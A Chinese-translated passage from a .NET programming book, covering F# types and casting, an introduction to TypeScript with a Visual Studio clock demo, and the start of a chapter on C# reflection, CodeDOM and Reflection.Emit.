F# 可以很好地与类和类型一起工作,并且本身被认为是类型化语言。实际上,你可以使用类型缩写和类型定义来声明任何受支持类型的元素。

在第一种情况下,我们只是为现有类型建立别名。你可以使用 type 关键字后跟一个标识符(别名)来声明这些别名,并将其分配给它所表示的类型:

type numberOfEntries = int
type response = string * int

注意第二个定义声明了一个由两部分(stringint)组成的新类型结构,可以在以后使用。

类型最常见的用法是声明类型定义,将成员作为括号内的值对(key : type)表示,正如教程中的 RecordTypes 模块提醒我们的那样(我们在此处重新呈现它):

// define a record type
type ContactCard =
  { Name     : string;
    Phone    : string;
    Verified : bool }
  let contact1 = { Name = "Alf" ; Phone = "(206) 555-0157" ; Verified = false }

如果我们在 F# Interactive 窗口中运行前面的代码,我们将得到以下结果:

类和类型

如你所见,contact1 标识符被指定为 val (值)。此值也可以用于根据前面的类型声明进一步的类型。这正是教程中以下声明的目的:

let contact2 = { contact1 with Phone = "(206) 555-0112"; Verified = true }

在这种情况下,contact2 是基于 contact1 的,但有两组不同的值。

下一个定义同样使事情变得非常清晰:

/// Converts a 'ContactCard' object to a string
let showCard c =
  c.Name + " Phone: " + c.Phone + (if not c.Verified then " (unverified)" else "")

这用于将 ContactCard 类型转换为字符串,因为我们检查在添加另一句话以测试输出后 F# Interactive 窗口中的输出:

let stringifyedCard = showCard contact1

以下截图显示了生成的输出:

类和类型

类型转换

在 F# 中,类型转换有自己的特定操作符。两种可能的操作取决于所需的类型转换类型(如果你从通用到特定在层次结构中转换,则是向下转换,如果你以相反的方式继续,则是向上转换)。实际上,与 C# 一样,层次结构从 System.Object 开始,尽管有一个别名 obj,我们可以用它来代替。

至于与编译器的行为相关,让我们记住向上转型是一个安全的操作,因为编译器总是知道要转换的类型的前辈。它由一个冒号,后跟一个大于号(:>)表示。例如,以下操作是合法的:

转型

正如我们所见,someObject标识符作为从字面字符串到obj的转换结果,在括号中声明。因此,在下一句中,V. Studio 中的 Intellisense 提醒我们System.Object声明了那些出现在上下文菜单中的成员。

TypeScript 语言

在过去 5 到 6 年中,围绕用于构建网站和 Web 应用程序的语言的炒作日益增长。正如你肯定知道的,原因主要与各种类型移动设备的普及有关:平板电脑、手机、物联网设备等等。

与此同时,回到 2008 年,W3C (www.w3.org,负责大多数互联网语言规范的实体)出现了一项新的标准化努力,旨在更新这些网络语言并使它们更适合这个十年的需求。像在 MacOS 或 iOS 等平台上消除 Flash 组件(或者说是 Silverlight)这样的公告,只是促进了这些尝试。

多年来首次,许多公司投资于创建这种新的开放网络,它能够以灵活、适应性、易于使用和响应的方式承载任何类型的内容。

所有这些努力在 2015 年画上了句号,最终推荐了 HTML5 (www.w3.org/TR/html5/) 以及一系列与 CSS3 表现语法相关的规范(记住,它不是一个语言)。他们在编写和测试过程中采用了最急需的方法,从那些实现是必要要求的开始,例如媒体查询(正如你所知,在移动设备中非常重要)。

最后,预期的 JavaScript 语言新版本由 ECMA (www.ecma-international.org/) 发布,并命名为 ECMAScript 2015(在规范和测试过程中之前被称为 ES6)。

在创建 HTML、CSS 和 JavaScript 标准的过程中,做出了重要的决策:保持向后兼容性,应用良好的实践和原则(例如 S.O.L.I.D.原则),最重要的是,使这些规范成为一个持续的开发和集成过程,其中公司的共识是关键。因此,在发布这些规范的第一版之后,所有这些领域的工作都继续进行,但现在,主要用户代理制造商的工程师直接与 W3C 和 ECMA 合作,以使 HTML、CSS 和 JavaScript 引擎更快、更可靠、更及时。由此产生的最明显的应用通常被称为现代浏览器。

新的 JavaScript

因此,一个新的 JavaScript 诞生了,它包括了开发者长期以来一直期待的功能,例如类、接口、作用域变量、包(终于,命名空间的概念出现在语言中,消除了对闭包的需求),以及更多。

随着新要求的出现,出现了一套库(实际上是一个很大的库)来帮助开发者完成日常任务(它们现在以数百、数千计)。

因此,根据去年进行的大量开发者调查,JavaScript 语言似乎成为了首选。其中一项调查是由目前开发者中最受欢迎的代码参考网站 StackOverflow 进行的,它进行了研究并发表了具有深刻见解的结果;您可以在stackoverflow.com/research/developer-survey-2015上阅读。

投票范围非常广泛,涵盖了众多不同方面,有成千上万的开发者参与了调查。以下显示语言排名的图表非常重要:

新的 JavaScript

所有这些都很棒,但这些功能在浏览器中的支持立即成为一个重要问题。实际上,支持不足,只有少数浏览器(我们之前提到的现代浏览器),如 Chrome 的最新版本、Microsoft Edge 和 Firefox 的最新更新,提供了对新标准提出的新闻和功能的大范围覆盖。

要使情况变得更糟,同一类型的浏览器版本并非巧合,因为它们可能依赖于我们用来打开网站的设备。为了最终确定与这种情况相关的问题列表,开发者开始构建大型应用程序,在这些应用程序中,需要的不仅仅是几十或几百行,而是数千行 JavaScript。

因此,需要一个新的工具来构建这些网站和应用,而我们的尊敬的 Anders Hejlsberg 再次决定对此采取严肃的态度。他提出的解决方案被称为 TypeScript。

TypeScript:JavaScript 的超集

那么,TypeScript 是什么,为什么它是这些问题的解决方案?第一个问题在其自己的网站上得到了解答:www.typescriptlang.org/。正如难以言喻的维基百科所说:

TypeScript 是由微软开发和维护的免费开源编程语言。它是 JavaScript 的一个严格超集,并为语言添加了可选的静态类型和基于类的面向对象编程。TypeScript 可用于开发客户端或服务器端(Node.js)执行的 JavaScript 应用程序。

那么,TypeScript 是如何实现这些目标的?再次,维基百科提醒我们:

TypeScript 是为开发大型应用程序而设计的,并转译为 JavaScript。由于 TypeScript 是 JavaScript 的超集,任何现有的 JavaScript 程序也是有效的 TypeScript 程序。

TypeScript:JavaScript 的超集

因此,我们可以开始编写或使用已经存在的 JavaScript,知道它将 100%与旧浏览器兼容。然而,术语转编译需要一些解释。由于 JavaScript(任何版本)是一种解释性、函数式语言,负责其执行的一直是嵌入在浏览器或用户代理中的 JavaScript 运行时。

因此,转编译(或简称为转译,就像大多数人称呼的那样)是将 TypeScript 代码转换为浏览器可以正确解释的纯 JavaScript 的过程。优势是双重的:一方面,我们可以决定我们想要哪个版本的 JavaScript(JavaScript 3、5 或 2015),另一方面,当与 Visual Studio(甚至 Visual Studio Code、Emacs、Vim、Sublime Text 和 Eclipse(通过 Palantir Technologies 提供的插件)等工具一起使用时,我们将获得 Intellisense、代码补全、动态分析等所有好处。

事实上,一旦这些工具配置完成,它们可以使用 Roselyn 服务来提供 Intellisense、类型推断以及我们从其他语言中都知道和喜爱的所有优点。按照惯例(尽管不是强制性的),TypeScript 文件具有.ts扩展名。

那么,TypeScript 究竟是什么?

对于这个问题的官方答案是,它是一个超集,可以将 JavaScript(无论你想要支持哪个版本:ECMAScript 2015 的 3.0、5.0)编译(编译后生成)为有效的 JavaScript。

此外,它还允许你使用在规范的下一次发布中才可用的功能,或者即使它们已经可用,但在大多数浏览器中尚未得到支持的功能。

此外,语言从 JavaScript 开始,因此任何 JavaScript 片段也是有效的 TypeScript。最大的区别在于,你使用的是一种提供通常与我们在本书中看到的 Roslyn 相关的相同类型的编辑和编译服务的语言:代码补全、查看定义、类型检查、重构、代码分析等。

主要特性和联盟

另一个主要特点是该项目旨在兼容任何浏览器、任何主机和任何操作系统。实际上,TypeScript 编译器是用 TypeScript 编写的。

总结一下,这个架构提供的两个最重要的特性如下:

  • 由静态类型启用的一整套工具

  • 未来使用功能的可能性,有信心生成的代码将在每个浏览器(或服务器)上运行。

在所有这些可能性中,微软和谷歌之间出现了一个合资企业(确切地说,是 TypeScript 团队和谷歌的 Angular 团队之间)来共同开发 Angular 的新版本(2.0+)。

安装工具

和往常一样,我们建议您下载并安装库的最新版本,它附带了一些项目模板。这些模板涵盖了使用 TypeScript 与 Apache/Cordova、Node.js 或纯 HTML 的用法。

您可以在 工具/扩展和更新 菜单中搜索其名称来找到 TypeScript 的最新版本。还有另一种安装方式,即访问位于 www.typescriptlang.org/ 的语言官方网站,该网站还包含额外的文档、演示和一个在线测试代码片段的 REPL。

我在这本书中使用的是当前版本 1.8.4,但很可能会在本书出版时,您将能够访问高于 2.0 的版本。在同意下载可安装文件后,您将看到一个确认对话框,如下所示:

安装工具

如果您想尝试一个更完整且更具说明性的 TypeScript 测试,您可以在 Templates/TypeScript 中创建一个名为 HTML Application 的新项目,这是在之前的安装之后可以找到的。

执行会生成一个网页,显示一个每秒更改一次时间的时钟。对代码结构的审查非常有信息量:

class Greeter {
  element: HTMLElement;
  span: HTMLElement;
  timerToken: number;

  constructor(element: HTMLElement) {
    this.element = element;
    this.element.innerHTML += "The time is: ";
    this.span = document.createElement('span');
    this.element.appendChild(this.span);
    this.span.innerText = new Date().toUTCString();
  }

  start() {
    this.timerToken = setInterval(
      () => this.span.innerHTML = new Date().toUTCString(), 500);
  }

  stop() {
    clearTimeout(this.timerToken);
  }
}

window.onload = () => {
  var el = document.getElementById('content');
  var greeter = new Greeter(el);
  greeter.start();
};

如您所见,app.ts 文件正在定义一个类(Greeter)。该类有一个状态,使用三个字段定义,其中两个与用户界面相关,因此它们被创建为 HTMLElement

constructor 方法负责初始化。它接收一个 HTMLElement 参数,并在读取系统时间后在其旁边创建一个新的 <span> 元素以显示时间。该值被分配给 <span>innerText 参数,因此它从开始就显示当前时间。

然后,我们有两个方法:start()stop()。第一个使用 lambda 并将 timerToken 字段的值分配给 setInterval 方法,该方法接收一个定期调用的函数。如果想要在任何时候取消该过程,这个返回值是有用的,正如我们在稍作修改的演示中所做的那样。

结果显示在与之链接的 HTMLElement 接口中;请注意,用户界面中只涉及一个元素:一个具有其 ID contentdiv 元素。

控制时钟启动的机制在定义Greeter类之后表达。在onload事件中,内容元素被链接到Greeter类的新实例。

注意

总结来说,类的目的是定义一种行为,并将这种行为与用户界面的一部分关联起来。

我们可以通过包含一个按钮(或任何其他HTMLElement接口)并在 TypeScript 代码中稍作修改来简单地停止时钟:

<button id="btnStop">Stop Clock</button>
window.onload = () => {
  // This links the UI to the JS code
  var el = document.getElementById('content');
  var btnStop = document.getElementById('btnStop');
  var greeter = new Greeter(el);
  // Now that Greeter is defined, we can use it
  // from the button to stop the clock
  btnStop.addEventListener("click", () => {
    greeter.stop();
    alert("Clock Stopped!");
  });
greeter.start();
};

由于stop()方法已经定义,因此无需更改Greeter类。我们将对stop()方法的调用分配给按钮的click事件,这就是所需的所有操作:

安装工具

转译到不同版本

Visual Studio 为我们提供了选择在转译过程之后生成哪个 JavaScript 版本的选项。你只需转到项目 | 属性并选择TypeScript 构建选项卡。你将了解你被提供了如何让转译器行为的多种选项。其中之一显示了一个 ComboBox,其中包含了可用的最终 JavaScript 选项。

此外,请注意,JSX 上还有其他选项,如管理注释、结合 JavaScript 等,具体方式如以下截图所示:

转译到不同版本

比较这两个文件(.ts.js)将清楚地说明 TypeScript 代码相对于纯 JavaScript 的整洁和简洁(以及面向对象)。

然而,好处并不止于此。这只是开始,因为大多数优势都与编辑器中的创建过程、Intellisense、类型推断等有关...

IDE 中的优势

当我们将光标移至前述代码的定义上时,观察每个元素是如何通过其类型被识别的:类本身及其成员:

IDE 中的优势

这不仅仅是识别初始化值。如果我们更改代码中成员的值并将其分配给不同的(不兼容的)类型,IDE 将再次对此情况提出抱怨:

IDE 中的优势

即使在HTMLElements内部,你也能找到这种 Intellisense,因为遍历span元素的innerText属性会告诉你该属性是一个字符串值。

为了结束这个例子并改变功能,以便我们可以停止时钟,我们只需要在 UI 中添加任何合适的元素,并将其分配给Greeter.stop()的调用,例如,在以下代码中添加到 HTML 文件中:

<!-- Button to stop the clock -->
<button id="btnStop">Press to stop the clock</button>

在 TypeScript 代码中,以下是对window.onload的赋值:

var theButton = document.getElementById('btnStop');
theButton.onclick = () => {
  greeter.stop();
  theButton.innerText = "Clock stopped!";
}

为了完整性,我在以下修改后包括 TypeScript 文件的整个代码:

class Greeter {
  element: HTMLElement;
  span: HTMLElement;
  timerToken: number;

  constructor(element: HTMLElement) {
    this.element = element;
    this.element.innerHTML += "The time is: ";
    this.span = document.createElement('span');
    this.element.appendChild(this.span);
    this.span.innerText = new Date().toUTCString();
  }

  start() {
    this.timerToken = setInterval(() => this.span.innerHTML =
    new Date().toUTCString(), 500);
  }

  stop() {
   clearTimeout(this.timerToken);
  }
}
window.onload = () => {
  var el = document.getElementById('content');
  var greeter = new Greeter(el);
  greeter.start();

  var theButton = document.getElementById('btnStop');
  theButton.onclick = () => {
    greeter.stop();
    theButton.innerText = "Clock stopped!";
  }
};

这将像魔法一样起作用。因此,我们可以遵循 OOP 范式,创建类,定义接口等,同时仍然使用纯 JavaScript。

关于 TypeScript 面向对象语法的说明

在这个基本演示中,Greeter 类是使用 ECMAScript 2015 中可用的新的 class 关键字定义的。你可以通过定义其成员并随后指定相应的类型来为类声明一个状态——要么是另一种类型(例如 HTMLElement),要么是原始类型,如 number

构造函数获取传递给它的元素,为其分配文本,并创建一个新的 span 元素,该元素将成为 start() 方法生成的每个新字符串的接收者,以便更新当前时间。一旦这个 span 初始化完成,类的初步状态就准备好开始工作了。

之后,定义了两个方法:一个用于启动时钟,另一个用于停止时钟。请注意,时钟是通过 JavaScript 的 setInterval 函数实现的。停止间隔过程继续运行的方法是使用该函数的返回值的引用。这就是为什么 timerToken 是类的一部分。

此外,请注意传递给 setInterval 的回调函数的声明,因为它也是一个 lambda 表达式,每半秒创建一个包含当前时间的新字符串。

另有一件重要的事情需要注意。如果没有 app.js 文件,演示如何工作?好吧,如果你在 Solution Explorer 菜单中按下 Show all files 按钮,你会看到确实已经创建了一个 app.js 文件,并且使用了原型继承来定义功能,只是它使用的是 JavaScript 3 语法,因此允许旧浏览器在不兼容的情况下与之协同工作。

更多细节和功能

到目前为止,我们看到了另一种编程方法,这次是与浏览器的通用语言相关联。通过 TypeScript,微软在覆盖其语言生态系统方面迈出了重要的一步,许多公司正在采用它作为一项高级解决方案,允许使用明天的语言进行今天的编程,正如其口号所宣称的那样。

在这个介绍中,我们的目的只是介绍该语言及其主要功能和与 Visual Studio 的集成。在 第八章 开源编程 中,我们将介绍该语言的更多方面,以便你更好地了解其可能性。

概述

我们简要地概述了 F# 和 TypeScript 语言的一些最典型的特性,这些语言现在是 .NET 语言生态系统的一部分。

这两种语言都是函数式语言,但正如你所见,它们之间的区别是明显的。在第一种情况下,我们看到了如何进行声明,并理解了运算符在语言中的重要作用。

我们还介绍了一些最典型的用法,并在 C# 语言中寻找等效的表达式。

对于 TypeScript,我们看到了它如何成为 JavaScript 的超集,允许程序员使用面向对象编程风格进行工作,同时仍然以提供向后浏览器兼容性的方式转换生成的代码,甚至达到语言的第 3 版。

我们还探讨了 Visual Studio 在编辑此代码中的基本作用,因此我们包含了一些来自 TypeScript 编辑器的截图来证明这一点。我们将在第八章开源编程中了解更多关于它的情况,开源编程

在下一章中,我们将更深入地探讨使用反射和互操作应用程序的可编程性,这些应用程序允许我们直接在我们的应用程序中使用其他知名工具,例如 Microsoft Office 套件。

第五章。反射与动态编程

计算机科学中反射的原则由维基百科定义为:

计算机程序检查、内省和修改其自身结构和行为的能力。

我们在第一章中看到的.NET 程序集的内部结构使我们能够使用称为动态调用的技术,在运行时加载和调用嵌入在我们自己的或外部程序集中的类型。

此外,与 CodeDOM 和 Reflection.Emit 命名空间相关的类允许在 C#或其他语言中运行时生成代码,包括中间语言IL)。

然而,除了.NET 到.NET 的对话框之外,我们还可以使用互操作性来操作用其他非.NET 编程语言构建的应用程序。实际上,许多专业应用程序发现依赖外部功能——这些功能我们可能检测到存在于宿主操作系统中的——是合适的,并且非常有用。这意味着我们可以与Microsoft Office 套件(其中WordExcel是最典型的资源案例)进行互操作。

这些应用程序可以为我们提供新的和令人兴奋的可能性,例如图表(图表)生成、文本拼写、文档模板创建,甚至外接程序增强。

因此,在本章中,我们的目标是回顾一些程序员可能对这些主题感兴趣的最有用概念和用例。

我们将从反射开始,分析.NET 框架提供的用于内省程序集结构和以完全可编程的方式调用内部功能的可能性。

我还将涵盖在运行时生成源代码并生成新类型并在运行时启动它们的能力。

在第二部分,我们将回顾由互操作编程提供的最显著和统计上使用的选项,互操作编程是指当程序与另一个应用程序通信以建立受控的、程序化的对话框以交换数据和向其他应用程序发出指令时使用的名称。

因此,简而言之,我们将讨论以下主题:

  • 反射在.NET 框架中的概念和实现

  • 反射在日常编程中的典型用途

  • 使用 System.Emit 在运行时生成源代码

  • 从 C#语言进行互操作编程

  • 使用互操作性访问 Microsoft Office 应用程序

  • 创建 Office 外接程序或应用程序

反射在.NET 框架中的内容

像往常一样,从主要定义(MSDN 源)开始是好的,它声明如下:

System.Reflection 命名空间中的类,连同 System.Type 一起,使您能够获取有关已加载的程序集及其内部定义的类型的信息,例如类、接口和值类型。您还可以使用反射在运行时创建类型实例,并调用和访问它们。

记住,正如我们在第一章中提到的,程序集的组织方式是它们包含模块,这些模块反过来又包含类型,这些类型包含成员。反射技术允许你找出(内省)给定程序集中存在的模块、类型和成员。

因此,当我们通过 Interop 访问任何成员时,与之相关联的是信息属性的一个层次结构:泛型成员的信息、其 System.Type(它所属的类型)命名空间、方法基类,以及与其属性、字段和事件相关的信息,如图所示:

反射在.NET 框架中的应用

根据前几章分析的.NET 架构,使这种行为成为可能的是程序集的元数据和.NET 的动态公共类型系统。

简单地看一下.NET 层次结构中最基本成员(System.Object)的基本成员,我们可以看到反射是其核心,因为我们有一个将在对象链中始终存在的GetType()方法。

实际上,GetType()返回一个System.Type类的实例,以封装正在检查的对象的所有元数据的方式提供服务。正是通过这个System.Type实例,你将能够遍历类型或类的所有细节(除了 IL 代码),并且还能获得发现周围上下文的能力:实现该类型的模块及其包含的程序集。

在第三章《C#和.NET 的高级概念》中,我们包含了以下示例来测试反射的非常基础的概念:

dynamic dyn = "This is a dynamic declared string";
Type t = dyn.GetType();
PropertyInfo prop = t.GetProperty("Length");
int stringLength = prop.GetValue(dyn, new object[] { });
Console.WriteLine(dyn);
Console.WriteLine(stringLength);

在此代码中,我们使用GetType()并将结果转换为Type对象,我们可以稍后使用它来检查dyn变量的成员。查看对象浏览器以寻找System.Type实例,可以使事情变得非常清晰:

反射在.NET 框架中的应用

截图显示了System.Type如何实现IReflect接口,该接口提供了一组用于内省的方法(大多数以Get开头,后面跟着目标内省以查找字段、成员等)。

此外,请注意InvokeMember方法的存在,它允许在运行时动态调用类型的成员,并可用于各种目的。这些方法的返回值是表示每个单独成员信息结构的数组:MemberInfo[]PropertyInfo[]MethodInfo[]FieldInfo[]

现在,让我们通过一个简单的控制台应用程序来实现这些想法,该应用程序声明了一个具有三个属性和一个方法的Person类,并学习我们如何在运行时获取所有这些信息。

请注意,Person 类拥有一个属性,它使用在单独的命名空间(System.Windows.Forms)中声明的方 法。通过反射访问并调用该方法没有问题,只是我们必须引用该命名空间,以及稍后我们将使用的 System.Reflection

using System;
using System.Reflection;
using System.Windows.Forms;
using static System.Console;

namespace Reflection1
{
  class Program
  {
    static void Main(string[] args)
    {
      Person p = new Person()
      {
        eMail = "person@email",
        Name = "Person Name",
        BirthDate = DateTime.Today
      };
      WriteLine($"Type of p: { p.GetType() }");
      Read();
    }
  }
  class Person
  {
    public string Name { get; set; }
    public string eMail { get; set; }
    public DateTime BirthDate { get; set; }
    public void ShowPersonData(string caption, MessageBoxIcon icon)
    {
      MessageBox.Show(this.Name + " - " + this.BirthDate,
      caption, MessageBoxButtons.OK, icon);
    }
  }
}
// Output: "Type of p:  Reflection1.Person"

我们将输出包含在代码中,因为它相当可预测,我们只是请求类型。然而,在调用 Read() 之前,让我们继续添加一些更多行,以了解更多关于 Person 类的信息:

WriteLine($"Type of p: { p.GetType() }");
Type tPerson = p.GetType();
WriteLine($"Assembly Name: {tPerson.Assembly.ToString()}");
WriteLine($"Module Name (Path removed): {tPerson.Module.Name}");
WriteLine($"Name of the undelying type: {tPerson.UnderlyingSystemType.Name}");
WriteLine($"Number of Properties (public): {tPerson.GetProperties().Length}");
// Now ler's retrieve all public members
var members = tPerson.GetMembers();
foreach (var member in members)
{
  WriteLine($"Member: {member.Name}, {member.MemberType.ToString()}");
}
Read();

现在,我们来看看输出中显示的内部结构的其他信息:

反射在.NET 框架中的体现

一些 隐藏 成员现在出现了,例如编译器创建的默认构造函数(.ctor),将 {get; set;} 声明转换为字段/访问方法对,以及从对象继承的成员。使用这些方法,我们可以获得与成员相关的所有信息。

不仅我们可以找出其他类型的结构,还可以像之前提到的那样调用其成员。例如,ShowPersonData 方法接收两个参数来配置 MessageBox 对象,向用户展示一些信息。

这意味着我们需要能够调用该方法,并配置和发送它所需的参数。我们可以使用以下代码来完成:

// Invoke a method
var method = tPerson.GetMethod("ShowPersonData");
object[] parameters = new object[method.GetParameters().Length];
parameters[0] = "Caption for the MessageBox";
parameters[1] = MessageBoxIcon.Exclamation;
method.Invoke(p, parameters);

由于参数可以是任何类型,我们创建了一个对象数组,该数组将在运行时使用,以将数组中的每个项与其方法中的参数相对应。在这种情况下,我们想要传递对话框的标题和要使用的图标。

如预期,我们在运行时获得了具有正确配置的相应 MessageBox 对象:

反射在.NET 框架中的体现

当然,我们也可以以类似的方式执行属性的操纵:

// Change a Property
WriteLine(" Write/Read operations\n");
var property = tPerson.GetProperty("Name");
object[] argums = { "John Doe" };
WriteLine($" Property {property.Name} - Is writable: {property.CanWrite}");
tPerson.InvokeMember("Name", BindingFlags.SetProperty, null, p, argums);
WriteLine($" Property {property.Name}: written ok.");
// Read the Name property
object value = tPerson.InvokeMember(property.Name, BindingFlags.GetProperty, null, p, null);
WriteLine($" New {property.Name} is: {value}");

输出确认该属性是可读/写的类型,并确认了更改的结果(注意,我们未传递任何参数来读取数据):

反射在.NET 框架中的体现

调用外部程序集

如果我们需要有关不同程序集的信息和/或功能,也可以使用 Assembly 对象或通过引用程序集并从 Type 对象的静态 GetType() 方法获取其数据来实现。

这包括那些是.NET 框架本身的一部分。要访问所有这些功能,System.Reflection 命名空间提供了一系列相关可能性。如下所示的语法可以满足这一目的:

using System;
using System.Windows.Forms;
using System.Reflection;
using static System.Console;

namespace Reflection1
{
  class Program2
  {
    static void Main(string[] args)
    {
      // Direct reflection of a referenced type
      // (System.Math belongs to mscorlib)
      WriteLine("\n MemberInfo from System.Math");
      // Type and MemberInfo data.
      Type typeMath = Type.GetType("System.Math");
      MemberInfo[] mathMemberInfo = typeMath.GetMembers();
      // Shows the DeclaringType method.
      WriteLine($"\n The type {typeMath.FullName} contains {mathMemberInfo.Length} members.");
      Read();
    }
  }
}

// output:
// MemberInfo from System.Math
// The type System.Math contains 76 members.

因此,我们正在反射包含在基本库 mscorlib 中的引用类型(System.Math),以找出包含多少成员,就像之前的例子一样。

或者,我们可以使用 Assembly 对象在运行时加载程序集,甚至可以使用 CreateInstance() 静态方法创建该对象的实例,如下所示:

// Loading an assembly at runtime.
Assembly asm = Assembly.Load("mscorlib");
Type ty = asm.GetType("System.Int32");
WriteLine(ty.FullName);
Object o = asm.CreateInstance("System.Int32");
WriteLine(o.GetType().FullName);   // => System.Int32

还可以获取当前(正在运行)程序集的所有引用程序集。GetExecutingAssembly()方法返回一个指向自身的Assembly对象,通过调用GetReferencedAssemblies(),我们得到所有这些信息。以下代码足以获取此列表:

// Get information on assemblies referenced in the current assembly.
AssemblyName[] refAssemblies;
refAssemblies =   Assembly.GetExecutingAssembly().GetReferencedAssemblies();
WriteLine(" Assemblies referenced by the running assembly:");
foreach (var item in refAssemblies)
{
  Console.WriteLine(" " + item.FullName);
}
Read();

整个输出(包括前面的三个例程)看起来就像以下屏幕截图所示:

调用外部程序集

泛型反射

泛型类型的反射也是可用的,可以使用布尔属性进行检查,例如IsGenericTypeIsGenericTypeDefinitionGetGenericArguments()。在这种情况下,相同的机制适用,只是检查相应的类型以确定差异。以下是一个简短的演示,它声明了一个泛型Dictionary对象并恢复其类型信息:

using System;
using static System.Console;
using System.Collections.Generic;

namespace Reflection1
{
  class Program3
  {
    static void Main(string[] args)
    {
      var HttpVerbs = new Dictionary<string, string>();
      HttpVerbs.Add("Delete", "Requests that a specified URI be deleted.");
      HttpVerbs.Add("Get", "Retrieves info that is identified by the URI of the request");
      HttpVerbs.Add("Head", "Retrieves the message headers ");
      HttpVerbs.Add("Post", "Posts a new entity as an addition to a URI.");
      HttpVerbs.Add("Put", "Replaces an entity that is identified by a URI.");

      // Reflection on a generic type
      Type t = HttpVerbs.GetType();
      WriteLine($"\r\n {t}");
      WriteLine($" Is a generic type? {t.IsGenericType}");
      WriteLine($" Is a generic type definition? {t.IsGenericTypeDefinition}");

      // Info on type parameters or type arguments.
      Type[] typeParameters = t.GetGenericArguments();

      WriteLine($" Found {typeParameters.Length} type arguments:");
      foreach (Type tParam in typeParameters)
      {
        if (tParam.IsGenericParameter)
        {
          // Display Generic Parameters (if any);
          Console.WriteLine($" Type parameter: {tParam.Name} in position: " + $" {tParam.GenericParameterPosition}");
        }
        else
        {
          Console.WriteLine($" Type argument: {tParam}" );
        }
      }
      Read();
    }
  }
}

—相当可预测的—输出显示了类型(泛型)及其成员(非泛型)的特性,并在循环中迭代,在打印其详细信息之前检查每个类型的泛型性(使用IsGenericParameter布尔属性):

泛型反射

因此,通过更改方法的调用和/或添加一些检查,我们也可以使用反射来使用泛型类型,就像我们使用经典类型一样。

运行时生成代码

另一个有趣的可能是.NET Framework 中某些类在运行时生成代码的能力,并最终编译和运行它。注意,Visual Studio 本身在许多场景中创建代码:从模板创建不同语言的文档结构,使用代码片段,在 ASP.NET 中构建 ORM,等等。

这个任务可以通过两种主要方式实现:使用 CodeDOM 或通过System.Reflection.Emit命名空间内的类。

System.CodeDOM 命名空间

第一个选项指的是System.CodeDOMSystem.CodeDOM.Compiler命名空间,并且自.NET 框架的第一个版本以来就存在。注意名称中的 DOM 部分:它意味着文档对象模型,就像在 HTML、XML 或其他文档结构中一样。

在 CodeDOM 内部使用类,我们可以使用模板生成源代码,这些模板定义了不同语言中的编码结构,因此我们甚至可以在.NET Framework 支持的所有语言中生成源代码。

要为任何.NET 结构生成代码,CodeDOM 类代表生成代码的任何方面,我们应该使用两种不同的机制:一种表达要构建的元素,另一种在运行时产生实际的代码。

让我们想象一下如何生成之前的Person类;只是,为了清晰起见,将其简化到最小元素。

我们需要以下内容:

  • 一个CodeCompileUnit实例,负责生成我们组件的 DOM 结构(其代码图)。这个结构负责构建我们类包含的不同成员:属性、字段、方法等。

  • 其余的元素必须逐个使用 CodeDOM 中可用的类创建,这些类代表每个可能的保留字或结构(类、方法、参数等)。

  • 最后,在生成之前,所有单独创建的元素都包含在CodeCompileUnit对象中。

让我们看看代码,它生成一个包含我们在本章开头使用的Person类定义的文件(为了简洁起见,我仅包括这里的初始行和末尾行。你可以在本章源代码中的 demo Reflection1中找到完整的代码):

using System.CodeDom;
using System.Reflection;
using System.CodeDom.Compiler;
using System.IO;

namespace Reflection1
{
  class Program5
  {
    static void Main(string[] args)
    {
      CodeCompileUnit oCU = new CodeCompileUnit();
      CodeTypeDeclaration oTD;

      // Working with CodeDOM
      CodeNamespace oNamespace = new CodeNamespace("Reflection1");
      // CodeNameSpace can import declarations of other namespaces
      // which is equivalent to the "using" statement
      oNamespace.Imports.Add(new CodeNamespaceImport("System.Windows.Forms"));
      // Class creation is undertaken by CodeTypeDeclaration class.
      // You can configure it with attributes, properties, etc.
      oTD = new CodeTypeDeclaration();
      oTD.Name = "Person";
      oTD.IsClass = true;

      // Generate code
      CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
      CodeGeneratorOptions options = new CodeGeneratorOptions();
      options.BracingStyle = "C";
      using (StreamWriter sr = new StreamWriter(@"Person.cs"))
      {
        provider.GenerateCodeFromCompileUnit(oCU, sr, options);
      }
    }
  }
}

一旦我们在Program5中建立了入口点,它的执行将生成一个包含我们在Program.cs文件中的相同代码的文件。

小贴士

注意,你将不得不检查bin/debug目录,因为我们没有建立不同的输出路径。

你应该在解决方案资源管理器中看到以下截图类似的内容:

System.CodeDOM 命名空间

如你所见,生成的代码相当冗长。然而,这正是按特征生成代码所必需的。让我们简要地浏览一下,并强调在生成过程中隐含的最重要类,从Main方法的末尾开始。

使一切工作的对象是CodeDomProvider类。它必须被实例化,指明要使用的语言(在我们的例子中是CSharp)。最后,我们将调用其GenerateCodeFromCompileUnit方法,它将使用所有之前的定义来生成为此目的定义的文件中的实际代码。

因此,在Program5的顶部,我们声明一个CompilerUnit对象。另一个关键组件是CodeTypeDeclaration对象,它负责存储在代码生成过程中使用的所有声明。

构造中隐含的其余类仅仅是构建结果类每个砖块的辅助类。这就是CodeNamespaceCodeNamespaceImportCodeSnippetTypeMemberCodeCommentStatementCodeMemberMethodCodeParameterDeclarationExpression类的作用。

虽然你可能认为仅仅创建结果类就花费了太多的精力,但请记住,Visual Studio 内部任务的自动化遵循类似的路径,你可以创建适合你或公司需求的代码生成机制。

在这样的可编程环境中,很容易想象出许多情况,在这些情况下,代码生成可以在运行时由生成程序调整,允许你根据我们之前设定的选项产生不同变体的代码。

Reflection.Emit 命名空间

System.Reflection.Emit命名空间旨在进行代码生成,允许开发者在应用程序内部创建代码或元数据,而不依赖于操作系统加载器的具体细节。

基本上,这个命名空间提供了以下编程选项:

  • 它允许在运行时构建模块和程序集。

  • 它创建类和类型并发出 IL。

  • 它启动.NET 编译器来构建应用程序。

在这里生成代码的方式在几个方面与 CodeDOM 不同。其中之一是能够在运行时生成 IL 代码,这意味着某些 C#代码的执行将产生不是用 C#编写的输出,而是使用这些工具生成的。

在这种代码生成类型中隐含的一个对象是包含在System.Reflection.Emit命名空间中的DynamicMethod对象。此对象允许获取另一个类型为ILGenerator的对象。

一旦你获得ILGenerator,你就可以以非常直接的方式动态生成 IL 代码:

// 1st sample of emission (using ILGenerator):
// A way to obtain one is creating a dynamic method. When the
// method is invoked, its generated contents are executed.
DynamicMethod dn = new DynamicMethod("dynamicMethod", null, null);
var ilgen = dn.GetILGenerator();
ilgen.EmitWriteLine("Testing Reflection Emit.");
ilgen.EmitWriteLine("We use IlGenerator here...");
ilgen.Emit(OpCodes.Ret);
dn.Invoke(null, null);

